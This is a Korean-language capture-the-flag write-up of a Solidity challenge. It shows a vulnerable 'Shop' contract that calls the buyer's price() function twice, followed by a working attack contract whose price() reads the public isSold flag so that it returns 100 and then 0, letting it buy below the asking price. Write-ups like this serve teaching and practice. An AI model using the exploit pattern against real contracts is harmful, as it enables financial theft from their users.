// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
이 문제는 Buyer
interface에 맞게 구현된 컨트렉트를 작성하여 buy()
함수를 호출하는데 price
에 값을 100보다 작게 만들면 풀리는 문제이다.
price()
함수에 리턴은 100보다 커야 한다.price()
함수에 리턴은 100보다 작아야 한다.이 조건을 만족하는 컨트렉트를 작성하면 다음과 같다.
contract attack {
Shop public target = Shop(0xfd59F76337f1BFfE263AFc1E9E7A38e5C6C3A8B4);
function atk() public
{
target.buy();
}
function price() external view returns (uint)
{
return target.isSold() ? 0 : 100;
}
}
이 문제의 핵심은 view function에서 같은 조건에서 실행되는 함수가 return 값을 다르게 하려면 어떻게 해야할지 그 벡터를 찾아내는 것이 중요했다.
solidity 에서 public 변수는 사용자가 getter 함수를 따로 만들지 않더라도 자동으롱getter 함수가 만들어진다. 필자는 이를 이용하여 isSold
변수에 값이 두 번째 price()
호출 이전에 바뀌는 것을 이용하여 문제를 해결하였다.